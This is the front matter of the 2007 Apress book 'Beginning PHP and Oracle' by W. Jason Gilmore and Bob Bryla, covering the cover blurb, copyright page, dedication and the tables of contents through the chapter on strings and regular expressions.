CYAN MAGENTA
YELLOW BLACK PANTONE 123 C
Books for professionals by professionals ®
Beginning PHP and Oracle: From Novice to Professional Dear Reader,
Beginning PHP and MySQL 5, Second Edition Beginning PHP and PostgreSQL 8
Bob Bryla, coauthor of Oracle Database 10g DBA Handbook Oracle Application Server 10g Administration I Study Guide
Companion eBook
Jason and Bob
THE APRESS ROADMAP See last page for details on $10 eBook version
SOURCE CODE ONLINE
www.apress.com
Beginning PHP and Oracle
PHP 5 Objects Patterns and Practices
Pro PHP
Mastering Oracle SQL and SQL*Plus
Expert Oracle Database Architecture
Companion eBook Available
Beginning
PHP and Oracle
W. Jason Gilmore, author of
PHP users have long heralded its ability to easily connect open source databases such as MySQL and PostgreSQL to the Web. However, with PHP becoming an increasingly important player in the enterprise arena, considerable work has been done to enhance its support for Oracle, the preeminent database solution used in countless corporate environments. By combining the Web’s most popular scripting language with one of the world’s most powerful databases, there are no limits to what you can do. We wrote this book to help you make the most of these two powerful technologies. Whether you’re a seasoned PHP expert and want to start writing enterprise-class database applications, an Oracle user who wants to take your data to the Web, or even a novice who is new to both, this book will provide you with everything you need. Beginning with a thorough introduction to the PHP language, you’re guided through the installation and configuration procedures and are introduced to core language features such as variables, arrays, functions, string manipulation, object-oriented programming, and user interaction. We also delve into advanced features such as the Zend Framework, multilingual Web sites, session handling, templating with Smarty, and PHP’s online code repository, PEAR. Next we focus on getting you started with Oracle. You’ll learn how to install, configure, and begin managing your Oracle server. We take a look at the capabilities that Oracle users have taken advantage of for years, such as advanced indexing, views, referential integrity, stored procedures, and triggers. We also show you how to connect to an Oracle database using PHP’s Oracle extension, manage query execution, and incorporate Oracle search functionality into your Web applications. This book provides you with all the tools you need to begin effectively building PHP- and Oracle-driven applications. We’re both excited about these impressive technologies and can’t wait to show you how to begin using them to your advantage.
The EXPERT’s VOIce ® in Web Development
US $49.99
PHP and Oracle From Novice to Professional Learn how to build dynamic, database-driven web sites with the popular PHP language and powerful Oracle database
W. Jason Gilmore and Bob Bryla
ISBN-13: 978-1-59059-770-5 ISBN-10: 1-59059-770-2 54999
Beginning
Gilmore, Bryla
Shelve in PHP User level: Beginner–Intermediate
9 781590 597705
this print for content only—size & color not accurate
spine = 1.502" 800 page count
Gilmore_Bryla_770-2FRONT.fm Page i Thursday, August 2, 2007 3:24 PM
Beginning PHP and Oracle From Novice to Professional
■■■
W. Jason Gilmore and Bob Bryla
770-2FRONT_2P.fm Page ii Thursday, August 23, 2007 12:45 PM
Beginning PHP and Oracle: From Novice to Professional Copyright © 2007 by W. Jason Gilmore All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. ISBN-13 (pbk): 978-1-59059-770-5 ISBN-10 (pbk): 1-59059-770-2 Printed and bound in the United States of America 9 8 7 6 5 4 3 2 Trademarked names may appear in this book. Rather than use a trademark symbol with every occurrence of a trademarked name, we use the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. Lead Editor: Jonathan Gennick Technical Reviewer: Matt Wade Editorial Board: Steve Anglin, Ewan Buckingham, Gary Cornell, Jonathan Gennick, Jason Gilmore, Jonathan Hassell, Chris Mills, Matthew Moodie, Jeffrey Pepper, Ben Renow-Clarke, Dominic Shakeshaft, Matt Wade, Tom Welsh Project Manager: Kylie Johnston Copy Editors: Jennifer Whipple, Kim Wimpsett Assistant Production Director: Kari Brooks-Copony Production Editor: Kelly Winquist Compositor: Susan Glinert Stevens Proofreader: April Eddy Indexer: John Collin Artist: April Milne Cover Designer: Kurt Krames Manufacturing Director: Tom Debolski Distributed to the book trade worldwide by Springer-Verlag New York, Inc., 233 Spring Street, 6th Floor, New York, NY 10013. Phone 1-800-SPRINGER, fax 201-348-4505, e-mail
[email protected], or visit http://www.springeronline.com. For information on translations, please contact Apress directly at 2855 Telegraph Avenue, Suite 600, Berkeley, CA 94705. Phone 510-549-5930, fax 510-549-5939, e-mail
[email protected], or visit http://www.apress.com. The information in this book is distributed on an “as is” basis, without warranty. Although every precaution has been taken in the preparation of this work, neither the author(s) nor Apress shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in this work. The source code for this book is available to readers at http://www.apress.com in the Source Code/Download section.
Gilmore_Bryla_770-2FRONT.fm Page iii Thursday, August 2, 2007 3:24 PM
I dedicate this book to the open source community, whose determined work is changing the world for the better. —W. Jason Gilmore To CRB and ESB, even with my long hours we had a great summer of fun! —Bob Bryla
Gilmore_Bryla_770-2FRONT.fm Page iv Thursday, August 2, 2007 3:24 PM
Gilmore_Bryla_770-2FRONT.fm Page v Thursday, August 2, 2007 3:24 PM
Contents at a Glance
About the Authors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvii About the Technical Reviewer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxxi Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .xxxiii
■CHAPTER 1
Introducing PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
■CHAPTER 2
Configuring Your Environment . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9
■CHAPTER 3
PHP Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
■CHAPTER 4
Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
■CHAPTER 5
Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
■CHAPTER 6
Object-Oriented PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
■CHAPTER 7
Advanced OOP Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
■CHAPTER 8
Error and Exception Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
■CHAPTER 9
Strings and Regular Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
■CHAPTER 10
Working with the File and Operating System . . . . . . . . . . . . . . . . . 195
■CHAPTER 11
PEAR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219
■CHAPTER 12
Date and Time . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 229
■CHAPTER 13
Forms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249
■CHAPTER 14
Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261
■CHAPTER 15
Handling File Uploads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 277
■CHAPTER 16
Networking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 287
■CHAPTER 17
PHP and LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
■CHAPTER 18
Session Handlers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 319
■CHAPTER 19
Templating with Smarty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 339
■CHAPTER 20
Web Services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 361
■CHAPTER 21
Secure PHP Programming . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 387
■CHAPTER 22
SQLite . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 407
■CHAPTER 23
Introducing PDO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 425 v
a2226ea6064d65fa709ebdc214c2fb2c
Gilmore_Bryla_770-2FRONT.fm Page vi Thursday, August 2, 2007 3:24 PM
■CHAPTER 24
Building Web Sites for the World . . . . . . . . . . . . . . . . . . . . . . . . . . . . 441
■CHAPTER 25
MVC and the Zend Framework . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 449
■CHAPTER 26
Introducing Oracle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 463
■CHAPTER 27
Installing and Configuring Oracle Database XE . . . . . . . . . . . . . . . 469
■CHAPTER 28
Oracle Database XE Administration . . . . . . . . . . . . . . . . . . . . . . . . . . 481
■CHAPTER 29
Interacting with Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . . . 501
■CHAPTER 30
From Databases to Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 513
■CHAPTER 31
Securing Oracle Database XE . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 535
■CHAPTER 32
PHP’s Oracle Functionality . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565
■CHAPTER 33
Transactions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 591
■CHAPTER 34
Using HTML_Table with Advanced Queries . . . . . . . . . . . . . . . . . . . 601
■CHAPTER 35
Using Views . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 621
■CHAPTER 36
Oracle PL/SQL Subprograms . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 633
■CHAPTER 37
Oracle Triggers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 649
■CHAPTER 38
Indexes and Optimizing Techniques . . . . . . . . . . . . . . . . . . . . . . . . . 661
■CHAPTER 39
Importing and Exporting Data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 675
■CHAPTER 40
Backup and Recovery . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 687
■INDEX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 697
vi
Gilmore_Bryla_770-2FRONT.fm Page vii Thursday, August 2, 2007 3:24 PM
Contents
About the Authors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvii About the Technical Reviewer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxxi Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .xxxiii
■CHAPTER 1
Introducing PHP
...........................................1
History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 PHP 4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 PHP 5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 PHP 6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 General Language Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Practicality . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Power . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Possibility . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Price . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
■CHAPTER 2
Configuring Your Environment
............................9
Installation Prerequisites . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Downloading Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10 Downloading PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Obtaining the Documentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Installing Apache and PHP on Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Installing Apache and PHP on Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Installing IIS and PHP on Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Installing IIS and PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Configuring FastCGI to Manage PHP Processes . . . . . . . . . . . . . . . . 16 Testing Your Installation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 Configuring PHP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 Configuring PHP at Build Time on Linux . . . . . . . . . . . . . . . . . . . . . . . 19 Customizing the Windows Build . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19
vii
Gilmore_Bryla_770-2FRONT.fm Page viii Thursday, August 2, 2007 3:24 PM
viii
■C O N T E N T S
Run-Time Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 Managing PHP’s Configuration Directives . . . . . . . . . . . . . . . . . . . . . 20 PHP’s Configuration Directives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 Choosing a Code Editor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Adobe Dreamweaver CS3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Notepad++ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 PDT (PHP Development Tools). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35 Zend Studio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 Choosing a Web Hosting Provider . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 Seven Questions for Any Prospective Hosting Provider . . . . . . . . . . 37 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
■CHAPTER 3
PHP Basics
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39
Embedding PHP Code in Your Web Pages . . . . . . . . . . . . . . . . . . . . . . . . . 39 Default Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 Short-Tags . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 Script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 ASP Style . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Embedding Multiple Code Blocks . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 Commenting Your Code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Single-Line C++ Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Shell Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Multiple-Line C Syntax . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Outputting Data to the Browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 The print() Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 The printf() Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44 The sprintf() Statement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 PHP’s Supported Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 Scalar Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46 Compound Datatypes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 Converting Between Datatypes Using Type Casting . . . . . . . . . . . . . 48 Adapting Datatypes with Type Juggling . . . . . . . . . . . . . . . . . . . . . . . 50 Type-Related Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50 Type Identifier Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 Identifiers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 Variable Declaration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 52 Variable Scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 PHP’s Superglobal Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 Variable Variables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Gilmore_Bryla_770-2FRONT.fm Page ix Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Constants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61 Operands . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 Operators . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62 String Interpolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 Double Quotes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 Single Quotes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 Heredoc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 Control Structures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 Conditional Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 Looping Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72 File Inclusion Statements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80
■CHAPTER 4
Functions
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Invoking a Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 Creating a Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 Passing Arguments by Value . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 Passing Arguments by Reference . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 Default Argument Values . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84 Returning Values from a Function . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 Recursive Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 86 Function Libraries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
■CHAPTER 5
Arrays
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
What Is an Array? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91 Creating an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92 Creating Arrays with array() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93 Extracting Arrays with list() . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94 Populating Arrays with a Predefined Value Range . . . . . . . . . . . . . . 94 Testing for an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 Adding and Removing Array Elements . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96 Adding a Value to the Front of an Array . . . . . . . . . . . . . . . . . . . . . . . 96 Adding a Value onto the End of an Array . . . . . . . . . . . . . . . . . . . . . . 96 Removing a Value from the Front of an Array . . . . . . . . . . . . . . . . . . 97 Removing a Value from the End of an Array . . . . . . . . . . . . . . . . . . . 97
ix
Gilmore_Bryla_770-2FRONT.fm Page x Thursday, August 2, 2007 3:24 PM
x
■C O N T E N T S
Locating Array Elements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 Searching an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97 Retrieving Array Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98 Retrieving Array Values . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 Traversing Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 Retrieving the Current Array Key . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99 Retrieving the Current Array Value . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Retrieving the Current Array Key and Value . . . . . . . . . . . . . . . . . . . 100 Moving the Array Pointer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Passing Array Values to a Function . . . . . . . . . . . . . . . . . . . . . . . . . 101 Determining Array Size and Uniqueness . . . . . . . . . . . . . . . . . . . . . . . . . 102 Determining the Size of an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 Counting Array Value Frequency . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 Determining Unique Array Values . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 Sorting Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 Reversing Array Element Order . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 Flipping Array Keys and Values . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 Sorting an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 Merging, Slicing, Splicing, and Dissecting Arrays . . . . . . . . . . . . . . . . . . 109 Merging Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109 Recursively Appending Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 Combining Two Arrays . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 Slicing an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 Splicing an Array . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 Calculating an Array Intersection . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 Calculating Associative Array Intersections . . . . . . . . . . . . . . . . . . . 113 Calculating Array Differences . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 Calculating Associative Array Differences . . . . . . . . . . . . . . . . . . . . 114 Other Useful Array Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 Returning a Random Set of Keys . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 Shuffling Array Elements . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
■CHAPTER 6
Object-Oriented PHP
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
The Benefits of OOP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 Encapsulation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 Inheritance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118 Polymorphism . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
Gilmore_Bryla_770-2FRONT.fm Page xi Thursday, August 2, 2007 3:24 PM
■C O N T E N T S
Key OOP Concepts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120 Fields . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 120 Properties . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 Constants . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126 Constructors and Destructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Constructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130 Destructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 Static Class Members . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133 The instanceof Keyword . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 Helper Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135 Autoloading Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
■CHAPTER 7
Advanced OOP Features
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139
Advanced OOP Features Not Supported by PHP . . . . . . . . . . . . . . . . . . . 139 Object Cloning . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 Cloning Example . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140 The __clone() Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 141 Inheritance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 142 Class Inheritance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143 Inheritance and Constructors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145 Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146 Implementing a Single Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 Implementing Multiple Interfaces . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 Abstract Classes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 149 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150
■CHAPTER 8
Error and Exception Handling
. . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Configuration Directives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151 Error Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 Exception Handling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156 Why Exception Handling Is Handy . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 PHP’s Exception-Handling Implementation . . . . . . . . . . . . . . . . . . . 158 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 162
xi
Gilmore_Bryla_770-2FRONT.fm Page xii Thursday, August 2, 2007 3:24 PM
xii
■C O N T E N T S
■CHAPTER 9
Strings and Regular Expressions
. . . . . . . . . . . . . . . . . . . . . . . . 163
Regular Expressions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163 Regular Expression Syntax (POSIX). . . . . . . . . . . . . . . . . . . . . . . . . . 164 PHP’s Regular Expression Functions (POSIX Extended) . . . . . . . . . 166 Regular Expression Syntax (Perl) . . . . . . . . . . . . . . . . . . . . . . . . . . . 169 Other String-Specific Functions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175 Determining the Length of a String . . . . . . . . . . . . . . . . . . . . . . . . . 175 Comparing Two Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 176 Manipulating String Case . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 Converting Strings to and from HTML . . . . . . . . . . . . . . . . . . . . . . . 179 Alternatives for Regular Expression Functions . . . . . . . . . . . . . . . . . . . . 183 Padding and Stripping a String . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190 Counting Characters and Words . . . . . . . . . . . . . . . . . . . . . . . . . . . . 191 Taking Advantage of PEAR: Validate_US . . . . . . . . . . . . . . . . . . . . . . . . . 193 Installing Validate_US . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193 Using Validate_US . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194 Summary . 